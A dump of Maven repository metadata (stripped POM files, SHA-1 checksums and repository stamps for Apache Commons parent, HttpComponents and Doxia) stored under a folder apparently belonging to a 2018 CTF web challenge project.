${maven.compile.source} org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.3 rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-source-plugin create-source-jar jar maven-javadoc-plugin create-javadoc-jar jar ${maven.compile.source} org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.3 1.3 1.3 scp
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/5/commons-parent-5.pom.sha1 ================================================ a0a168281558e7ae972f113fa128bc46b4973edd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:06 CST 2018 commons-parent-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/7/commons-parent-7.pom ================================================ 4.0.0 org.apache apache 4 org.apache.commons commons-parent pom 7 Commons Parent http://commons.apache.org/ 2001 continuum http://vmbuild.apache.org/continuum/ mail
      dev@commons.apache.org
      dummy Dummy to avoid accidental deploys scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-7 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-7 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-7 Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org commits@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://commons.markmail.org/search/list:org.apache.commons.commits http://www.mail-archive.com/commits@commons.apache.org/ Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://commons.markmail.org/search/list:org.apache.commons.dev http://www.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org issues@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://commons.markmail.org/search/list:org.apache.commons.issues http://www.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://commons.markmail.org/search/list:org.apache.commons.user http://www.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-3 org.apache.maven.plugins maven-jar-plugin 2.1 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.3 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 org.apache.maven.plugins maven-javadoc-plugin 2.3 org.apache.maven.plugins maven-antrun-plugin 1.1 maven-compiler-plugin ${maven.compile.source} ${maven.compile.target} maven-jar-plugin ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${maven.compile.source} ${maven.compile.target} maven-idea-plugin ${maven.compile.source} org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-javadoc-plugin 2.3 true ${maven.compile.source} org.apache.maven.plugins maven-jxr-plugin 2.1 true org.apache.maven.plugins maven-site-plugin 2.0-beta-6 navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin 2.3 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-1 org.codehaus.mojo rat-maven-plugin 1.0-alpha-3 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release apache.releases Apache Release Distribution Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-source-plugin create-source-jar jar maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar jar ${maven.compile.source} rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-source-plugin create-source-jar jar maven-release-plugin -Prc maven-javadoc-plugin create-javadoc-jar jar ${maven.compile.source} 1.3 1.3 scp
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/7/commons-parent-7.pom.sha1 ================================================ 95db361d9db1474346b2bde93e5402281909144c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:48 CST 2018 commons-parent-9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/9/commons-parent-9.pom ================================================ 4.0.0 org.apache apache 4 org.apache.commons commons-parent pom 9 Commons Parent http://commons.apache.org/ 2001 continuum http://vmbuild.apache.org/continuum/ mail
      dev@commons.apache.org
      dummy Dummy to avoid accidental deploys scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-9 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-9 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-9 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://commons.markmail.org/search/list:org.apache.commons.user http://www.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://commons.markmail.org/search/list:org.apache.commons.dev http://www.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org issues@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://commons.markmail.org/search/list:org.apache.commons.issues http://www.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org commits@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://commons.markmail.org/search/list:org.apache.commons.commits http://www.mail-archive.com/commits@commons.apache.org/ ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-3 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.2 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 org.apache.maven.plugins maven-javadoc-plugin 2.3 ${commons.encoding} ${commons.docEncoding} org.apache.maven.plugins maven-compiler-plugin 2.0.2 ${maven.compile.source} ${maven.compile.target} ${commons.encoding} org.apache.maven.plugins maven-antrun-plugin 1.1 org.apache.felix maven-bundle-plugin 1.4.0 true org.apache.commons commons-build-plugin 1.0 ${commons.release.name} maven-compiler-plugin maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${maven.compile.source} ${maven.compile.target} org.apache.felix maven-bundle-plugin true target/osgi <_nouses>true ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest maven-idea-plugin ${maven.compile.source} org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.commons commons-build-plugin org.apache.maven.plugins maven-project-info-reports-plugin 2.0.1 org.apache.maven.plugins maven-javadoc-plugin 2.3 true ${maven.compile.source} ${commons.encoding} ${commons.docEncoding} org.apache.maven.plugins maven-jxr-plugin 2.1 true org.apache.maven.plugins maven-site-plugin 2.0-beta-6 navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin 2.4.2 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-1 org.codehaus.mojo rat-maven-plugin 1.0-alpha-3 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release apache.releases Apache Release Distribution Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar jar package ${maven.compile.source} rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-site-plugin site package maven-source-plugin create-source-jar jar package maven-release-plugin -Prc maven-javadoc-plugin create-javadoc-jar jar package ${maven.compile.source} maven-assembly-plugin attached package 1.3 1.3 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId} org.apache.commons.${commons.componentid} org.apache.commons.*;version=${pom.version} * target/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding}
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/9/commons-parent-9.pom.sha1 ================================================ 217cc375e25b647a61956e1d6a88163f9e3a387c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 httpclient-4.0.2.jar>central= httpclient-4.0.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/httpclient-4.0.2.jar.sha1 ================================================ 781b68c2fd5335de914166241b8d4bfe8c2f91b7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/httpclient-4.0.2.pom ================================================ 4.0.0 org.apache.httpcomponents httpcomponents-client 4.0.2 httpclient HttpClient HttpComponents Client (base module) http://hc.apache.org/httpcomponents-client jar Apache License ../LICENSE.txt repo org.apache.httpcomponents httpcore ${httpcore.version} commons-logging commons-logging ${commons-logging.version} commons-codec commons-codec ${commons-codec.version} junit junit ${junit.version} test UTF-8 UTF-8 1.5 1.5 true true src/main/resources false META-INF/* src/main/resources true **/*.properties .. META-INF LICENSE.txt ../src/main/resources META-INF true NOTICE.txt src/test/resources false * .. META-INF LICENSE.txt ../src/main/resources META-INF true NOTICE.txt org.apache.maven.plugins maven-compiler-plugin ${maven.compile.source} ${maven.compile.target} ${maven.compile.optimize} ${maven.compile.deprecation} maven-surefire-plugin maven-jar-plugin HttpComponents HttpClient ${pom.version} The Apache Software Foundation HttpComponents HttpClient ${pom.version} The Apache Software Foundation org.apache ${pom.url} test-jar maven-javadoc-plugin 1.5 http://java.sun.com/j2se/1.5.0/docs/api/ http://hc.apache.org/httpcomponents-core/httpcore/apidocs/ javadoc com.atlassian.maven.plugins maven-clover2-plugin 1.5 org.codehaus.mojo clirr-maven-plugin 4.0 maven-jxr-plugin maven-surefire-report-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/httpclient-4.0.2.pom.sha1 ================================================ f218515f169bb93b7fd6c67fab0dedbaf832a8ae ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-client/4.0.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:49 CST 2018 httpcomponents-client-4.0.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-client/4.0.2/httpcomponents-client-4.0.2.pom ================================================ project org.apache.httpcomponents 4.1 ../project/pom.xml 4.0.0 org.apache.httpcomponents httpcomponents-client HttpComponents Client 4.0.2 Components to build client side HTTP services http://hc.apache.org/httpcomponents-client 1999 pom Apache Software Foundation http://www.apache.org/ Apache License LICENSE.txt repo Jira http://issues.apache.org/jira/browse/HTTPCLIENT scm:svn:https://svn.apache.org/repos/asf/httpcomponents/httpclient/tags/4.0.2 scm:svn:https://svn.apache.org/repos/asf/httpcomponents/httpclient/tags/4.0.2 https://svn.apache.org/repos/asf/httpcomponents/httpclient/tags/4.0.2 UTF-8 UTF-8 4.0.1 1.1.1 1.3 0.6 3.8.2 httpclient httpmime httpclient-osgi maven-source-plugin attach-sources jar maven-javadoc-plugin 1.5 http://java.sun.com/j2se/1.5.0/docs/api/ http://hc.apache.org/httpcomponents-core/httpcore/apidocs/ http://james.apache.org/mime4j/apidocs/ maven-site-plugin maven-assembly-plugin src/main/assembly/bin.xml src/main/assembly/osgi-bin.xml src/main/assembly/bin-with-deps.xml src/main/assembly/src.xml gnu maven-antrun-plugin false com.atlassian.maven.plugins maven-clover2-plugin threaded 100 50% site pre-site instrument aggregate save-history com.agilejava.docbkx docbkx-maven-plugin generate-html generate-pdf pre-site org.docbook docbook-xml 4.4 runtime index.xml true true src/docbkx/resources/xsl/fopdf.xsl src/docbkx/resources/xsl/html_chunk.xsl css/hc-tutorial.css version ${pom.version} maven-project-info-reports-plugin dependencies project-team mailing-list issue-tracking scm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-client/4.0.2/httpcomponents-client-4.0.2.pom.sha1 ================================================ f068349e19ba323665d0bc49141333747b174f3f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-core/4.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:51 CST 2018 httpcomponents-core-4.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-core/4.0.1/httpcomponents-core-4.0.1.pom ================================================ project org.apache.httpcomponents 4.0 ../project/pom.xml 4.0.0 org.apache.httpcomponents httpcomponents-core HttpComponents Core 4.0.1 Core components to build HTTP enabled services http://hc.apache.org/httpcomponents-core/ 2005 pom Apache Software Foundation http://www.apache.org/ Apache License LICENSE.txt repo Jira http://issues.apache.org/jira/browse/HTTPCORE scm:svn:http://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1 scm:svn:https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1 http://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1 httpcore httpcore-nio httpcore-osgi UTF-8 UTF-8 maven-remote-resources-plugin 1.0 process org.apache:apache-jar-resource-bundle:1.4 true maven-source-plugin attach-sources jar maven-javadoc-plugin 1.5 true http://java.sun.com/j2se/1.5.0/docs/api/ maven-site-plugin maven-release-plugin https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/ maven-assembly-plugin 2.2-beta-3 src/main/assembly/bin.xml src/main/assembly/osgi-bin.xml src/main/assembly/src.xml gnu maven-antrun-plugin false com.atlassian.maven.plugins maven-clover2-plugin threaded 100 50% site pre-site instrument aggregate save-history com.agilejava.docbkx docbkx-maven-plugin 2.0.8 generate-html generate-pdf pre-site org.docbook docbook-xml 4.4 runtime index.xml true true src/docbkx/resources/xsl/fopdf.xsl src/docbkx/resources/xsl/html_chunk.xsl css/hc-tutorial.css version ${pom.version} maven-project-info-reports-plugin project-team mailing-list issue-tracking scm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-core/4.0.1/httpcomponents-core-4.0.1.pom.sha1 ================================================ 2766fab80fcc4f8bfdfe4f4a7cf151140ec8e0ed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 httpcore-4.0.1.pom>central= httpcore-4.0.1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/httpcore-4.0.1.jar.sha1 ================================================ e813b8722c387b22e1adccf7914729db09bcb4a9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/httpcore-4.0.1.pom ================================================ 4.0.0 org.apache.httpcomponents httpcomponents-core 4.0.1 httpcore HttpCore 2005 HttpComponents Core (Java 1.3 compatible) http://hc.apache.org/httpcomponents-core/ jar Apache License http://www.apache.org/licenses/LICENSE-2.0.html repo junit junit 3.8.1 test UTF-8 UTF-8 1.3 1.3 true true src/main/resources false META-INF/* src/main/resources true **/*.properties org.apache.maven.plugins maven-compiler-plugin ${maven.compile.source} ${maven.compile.target} ${maven.compile.optimize} ${maven.compile.deprecation} maven-surefire-plugin maven-javadoc-plugin 1.5 http://java.sun.com/j2se/1.5.0/docs/api/ javadoc maven-jxr-plugin maven-surefire-report-plugin org.codehaus.mojo clirr-maven-plugin com.atlassian.maven.plugins maven-clover2-plugin 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/httpcore-4.0.1.pom.sha1 ================================================ d965db94102b75a50bd29938ef67105da1535554 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:51 CST 2018 project-4.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.0/project-4.0.pom ================================================ 4.0.0 org.apache.httpcomponents project 4.0 pom HttpComponents http://hc.apache.org/ Components to build HTTP enabled services 2005 Apache Software Foundation http://www.apache.org/ Jira http://issues.apache.org/jira/ scm:svn:http://svn.apache.org/repos/asf/httpcomponents/project scm:svn:https://svn.apache.org/repos/asf/httpcomponents/project http://svn.apache.org/repos/asf/httpcomponents/project Ortwin Glueck oglueck oglueck -at- apache.org Java Developer PMC http://www.odi.ch/ +1 Oleg Kalnichevski olegk olegk -at- apache.org Java Developer PMC +1 Asankha C. Perera asankha asankha -at- apache.org Java Developer PMC +5.5 Sebastian Bazley sebb sebb -at- apache.org Java Developer PMC Erik Abele erikabele erikabele -at- apache.org Java Developer PMC Chair http://www.codefaktor.de/ +1 Ant Elder antelder antelder -at- apache.org Java Developer PMC Paul Fremantle pzf pzf -at- apache.org Java Developer PMC Roland Weber rolandw rolandw -at- apache.org Emeritus PMC +1 Sam Berlin sberlin sberlin -at- apache.org Committer -4 Sean C. Sullivan sullis sullis -at- apache.org Committer -8 Julius Davies juliusdavies -at- cucbc.com Andrea Selva selva.andre -at- gmail.com Steffen Pingel spingel -at- limewire.com Quintin Beukes quintin -at- last.za.net Marc Beyerle marc.beyerle -at- de.ibm.com James Abley james.abley -at- gmail.com HttpClient User List httpclient-users-subscribe@hc.apache.org httpclient-users-unsubscribe@hc.apache.org httpclient-users@hc.apache.org http://mail-archives.apache.org/mod_mbox/hc-httpclient-users/ http://www.nabble.com/HttpClient-User-f20180.html http://marc.info/?l=httpclient-users http://hc.apache.org/mail/httpclient-users/ HttpComponents Dev List dev-subscribe@hc.apache.org dev-unsubscribe@hc.apache.org dev@hc.apache.org http://mail-archives.apache.org/mod_mbox/hc-dev/ http://www.nabble.com/HttpComponents-Dev-f20179.html http://marc.info/?l=httpclient-commons-dev http://hc.apache.org/mail/dev/ HttpComponents Commits List commits-subscribe@hc.apache.org commits-unsubscribe@hc.apache.org http://mail-archives.apache.org/mod_mbox/hc-commits/ http://marc.info/?l=httpcomponents-commits http://hc.apache.org/mail/commits/ apache.releases Apache Release Repository scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository apache.snapshots Apache Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.website Apache Website scp://people.apache.org/www/hc.apache.org/ maven-compiler-plugin ${maven.compile.source} ${maven.compile.target} maven-jar-plugin Apache ${pom.name} Apache Software Foundation Apache Software Foundation org.apache ${pom.version} ${maven.compile.source} ${maven.compile.target} org.apache.maven.plugins maven-site-plugin org.apache.maven.plugins maven-gpg-plugin sign-artifacts verify sign com.atlassian.maven.plugins maven-clover2-plugin 2.6.3 com.agilejava.docbkx docbkx-maven-plugin 2.0.9 generate-html generate-pdf pre-site org.docbook docbook-xml 4.4 runtime index.xml true true src/docbkx/resources/xsl/fopdf.xsl src/docbkx/resources/xsl/html_chunk.xsl css/hc-tutorial.css version ${pom.version} org.apache.felix maven-bundle-plugin 2.0.1 org.apache.maven.plugins maven-project-info-reports-plugin 2.0.1 maven-surefire-report-plugin 2.4.3 org.codehaus.mojo clirr-maven-plugin 2.1.1 maven-jxr-plugin 2.1 org.apache.maven.plugins maven-project-info-reports-plugin project-team mailing-list issue-tracking scm ../httpcore ../httpclient release org.apache.maven.plugins maven-gpg-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.0/project-4.0.pom.sha1 ================================================ 096553966ef79545593062a0c6057a821e39d284 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:50 CST 2018 project-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.1/project-4.1.pom ================================================ 4.0.0 org.apache.httpcomponents project 4.1 pom HttpComponents http://hc.apache.org/ Components to build HTTP enabled services 2005 Apache Software Foundation http://www.apache.org/ Jira http://issues.apache.org/jira/ scm:svn:http://svn.apache.org/repos/asf/httpcomponents/project scm:svn:https://svn.apache.org/repos/asf/httpcomponents/project http://svn.apache.org/repos/asf/httpcomponents/project Ortwin Glueck oglueck oglueck -at- apache.org Java Developer PMC http://www.odi.ch/ +1 Oleg Kalnichevski olegk olegk -at- apache.org Java Developer PMC +1 Asankha C. Perera asankha asankha -at- apache.org Java Developer PMC +5.5 Sebastian Bazley sebb sebb -at- apache.org Java Developer PMC Erik Abele erikabele erikabele -at- apache.org Java Developer PMC Chair http://www.codefaktor.de/ +1 Ant Elder antelder antelder -at- apache.org Java Developer PMC Paul Fremantle pzf pzf -at- apache.org Java Developer PMC Roland Weber rolandw rolandw -at- apache.org Emeritus PMC +1 Sam Berlin sberlin sberlin -at- apache.org Committer -4 Sean C. Sullivan sullis sullis -at- apache.org Committer -8 Julius Davies juliusdavies -at- cucbc.com Andrea Selva selva.andre -at- gmail.com Steffen Pingel spingel -at- limewire.com Quintin Beukes quintin -at- last.za.net Marc Beyerle marc.beyerle -at- de.ibm.com James Abley james.abley -at- gmail.com HttpClient User List httpclient-users-subscribe@hc.apache.org httpclient-users-unsubscribe@hc.apache.org httpclient-users@hc.apache.org http://mail-archives.apache.org/mod_mbox/hc-httpclient-users/ http://www.nabble.com/HttpClient-User-f20180.html http://marc.info/?l=httpclient-users http://hc.apache.org/mail/httpclient-users/ HttpComponents Dev List dev-subscribe@hc.apache.org dev-unsubscribe@hc.apache.org dev@hc.apache.org http://mail-archives.apache.org/mod_mbox/hc-dev/ http://www.nabble.com/HttpComponents-Dev-f20179.html http://marc.info/?l=httpclient-commons-dev http://hc.apache.org/mail/dev/ HttpComponents Commits List commits-subscribe@hc.apache.org commits-unsubscribe@hc.apache.org http://mail-archives.apache.org/mod_mbox/hc-commits/ http://marc.info/?l=httpcomponents-commits http://hc.apache.org/mail/commits/ apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots apache.website Apache Website scp://people.apache.org/www/hc.apache.org/ maven-compiler-plugin ${maven.compile.source} ${maven.compile.target} maven-jar-plugin Apache ${project.name} Apache Software Foundation Apache Software Foundation org.apache ${project.version} ${maven.compile.source} ${maven.compile.target} org.apache.maven.plugins maven-site-plugin org.apache.maven.plugins maven-assembly-plugin 2.2-beta-5 org.apache.maven.plugins maven-antrun-plugin 1.4 org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.1 org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.1 org.apache.maven.plugins maven-javadoc-plugin 2.7 true true org.apache.maven.plugins maven-jxr-plugin 2.2 org.apache.maven.plugins maven-project-info-reports-plugin 2.2 org.apache.maven.plugins maven-release-plugin 2.0 org.apache.maven.plugins maven-resources-plugin 2.4.3 org.apache.maven.plugins maven-site-plugin 2.1.1 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.5 org.apache.maven.plugins maven-surefire-report-plugin 2.5 com.agilejava.docbkx docbkx-maven-plugin 2.0.10 generate-html generate-pdf pre-site org.docbook docbook-xml 4.4 runtime index.xml true true src/docbkx/resources/xsl/fopdf.xsl src/docbkx/resources/xsl/html_chunk.xsl css/hc-tutorial.css version ${project.version} com.atlassian.maven.plugins maven-clover2-plugin 3.0.2 org.apache.felix maven-bundle-plugin 2.1.0 org.codehaus.mojo clirr-maven-plugin 2.2.2 org.apache.maven.plugins maven-project-info-reports-plugin project-team mailing-list issue-tracking scm ../httpcore ../httpclient release org.apache.maven.plugins maven-gpg-plugin test-deploy id::default::file:target/deploy ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/project/4.1/project-4.1.pom.sha1 ================================================ b63ff67e6ffc1940041319e0e06d7c6b1d671fd2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:00 CST 2018 doxia-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom ================================================ 4.0.0 org.apache.maven maven-parent 10 ../../pom/maven/pom.xml org.apache.maven.doxia doxia 1.0 pom Doxia Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages. http://maven.apache.org/doxia/doxia 2005 Doxia Developer List doxia-dev@maven.apache.org doxia-dev-subscribe@maven.apache.org doxia-dev-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://maven.doxia.dev.markmail.org/ Doxia User List doxia-users@maven.apache.org doxia-users-subscribe@maven.apache.org doxia-users-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://maven.doxia.users.markmail.org/ Doxia Commits List doxia-commits-subscribe@maven.apache.org doxia-commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://maven.doxia.commits.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ doxia-core doxia-sink-api doxia-modules doxia-book doxia-maven-plugin scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.0 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.0 https://svn.apache.org/viewvc/maven/doxia/doxia/tags/doxia-1.0 jira http://jira.codehaus.org/browse/DOXIA apache.website scp://people.apache.org/www/maven.apache.org/doxia/doxia-1.0.x ${project.version} org.apache.maven.doxia doxia-sink-api ${projectVersion} org.apache.maven.doxia doxia-core ${projectVersion} org.apache.maven.doxia doxia-core ${projectVersion} test-jar org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-utils 1.5.7 junit junit 3.8.2 test org.codehaus.plexus plexus-maven-plugin descriptor org.apache.maven.plugins maven-javadoc-plugin 1.4 true 